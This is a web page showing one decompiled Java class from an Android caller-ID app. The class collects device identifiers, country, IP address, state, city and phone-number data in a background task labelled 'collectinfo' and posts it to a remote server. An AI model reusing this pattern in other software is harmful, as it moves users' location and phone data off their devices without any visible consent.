APK反编译源代码展示 - 南明离火平台提供

应用版本信息
应用名称:Caller ID
版本号:1.8.3
包名称:com.callerid.block

MD5 校验值:5ef3f775189f42f146cf0788a99eebd7

反编译源代码说明

b.java 文件包含反编译后的源代码,请注意,该内容仅供学习和参考使用,不得用于非法用途。


package j3;

import android.annotation.SuppressLint;
import android.content.Context;
import android.os.AsyncTask;
import com.callerid.block.bean.ParserIpBean;
import java.util.HashMap;
import org.json.JSONArray;
import org.json.JSONObject;
import y3.a0;
import y3.c1;
import y3.m1;
import y3.r1;
import y3.u;
import y3.w;

public class b {

    private static class a extends AsyncTask<String, Void, String> {

        private final j3.a f31771a;

        @SuppressLint({"StaticFieldLeak"})
        private final Context f31772b;

        private final JSONArray f31773c;

        private final String f31774d;

        a(Context context, JSONArray jSONArray, String str, j3.a aVar) {
            this.f31771a = aVar;
            this.f31772b = context;
            this.f31773c = jSONArray;
            this.f31774d = str;
        }

        @Override
        public String doInBackground(String... strArr) {
            String str;
            String str2;
            String str3;
            String str4 = null;
            try {
                HashMap hashMap = new HashMap();
                String v10 = r1.v(this.f31772b);
                String country_code = y3.l.f(this.f31772b).getCountry_code();
                String F = r1.F();
                String B = r1.B();
                String u10 = r1.u();
                String lowerCase = y3.l.f(this.f31772b).getIso_code().split("/")[0].toLowerCase();
                ParserIpBean d10 = v3.c.b().d();
                if (d10 != null) {
                    if (d10.getCountry() != null && !"".equals(d10.getCountry())) {
                        lowerCase = d10.getCountry();
                    }
                    str2 = (d10.getState() == null || "".equals(d10.getState())) ? (d10.getState_full() == null || "".equals(d10.getState_full())) ? "" : d10.getState_full() : d10.getState();
                    str3 = (d10.getCity() == null || "".equals(d10.getCity())) ? "" : d10.getCity();
                    str = (d10.getTrue_ip() == null || "".equals(d10.getTrue_ip())) ? "" : d10.getTrue_ip();
                } else {
                    str = "";
                    str2 = str;
                    str3 = str2;
                }
                JSONObject jSONObject = new JSONObject();
                JSONArray jSONArray = new JSONArray();
                jSONArray.put(r1.d(v10));
                jSONArray.put(r1.d(country_code));
                jSONArray.put(r1.d(F));
                jSONArray.put(r1.d(B));
                jSONArray.put(r1.d(u10));
                jSONArray.put(r1.d(str));
                jSONArray.put(r1.d(lowerCase));
                jSONArray.put(r1.d(str2));
                jSONArray.put(r1.d(str3));
                jSONObject.put("user_info", jSONArray);
                jSONObject.put("tel_number_info", this.f31773c);
                hashMap.put("platform", "android");
                hashMap.put("uid", r1.H(this.f31772b));
                hashMap.put("app_version", r1.J(this.f31772b));
                hashMap.put("origin", r1.d(this.f31774d));
                Context context = this.f31772b;
                hashMap.put("stamp", r1.D(context, r1.H(context)));
                if (a0.f34733a) {
                    a0.a("collectinfo", "content:" + jSONObject.toString().replaceAll("\\\\", ""));
                }
                hashMap.put("content", u.c(jSONObject.toString().replaceAll("\\\\", "")));
                if (a0.f34733a) {
                    a0.a("collectinfo", "params:" + hashMap);
                }
                String b10 = w.b("https://ct.ayamote.com/c_n/api/v1/cnwik.php", hashMap, "utf-8");
                if (a0.f34733a) {
                    a0.a("collectinfo", "result:" + b10);
                }
                str4 = u.b(b10);
                if (a0.f34733a) {
                    a0.a("collectinfo", "response:" + str4);
                }
            } catch (Exception e10) {
                e10.printStackTrace();
            }
            return str4;
        }

        @Override
        public void onPostExecute(String str) {
            super.onPostExecute(str);
            this.f31771a.a(str);
        }
    }

    public static void a(Context context, JSONArray jSONArray, String str, j3.a aVar) {
        try {
            if (c1.j(context)) {
                new a(context, jSONArray, str, aVar).executeOnExecutor(m1.a(), new String[0]);
            }
        } catch (Exception e10) {
            e10.printStackTrace();
        }
    }
}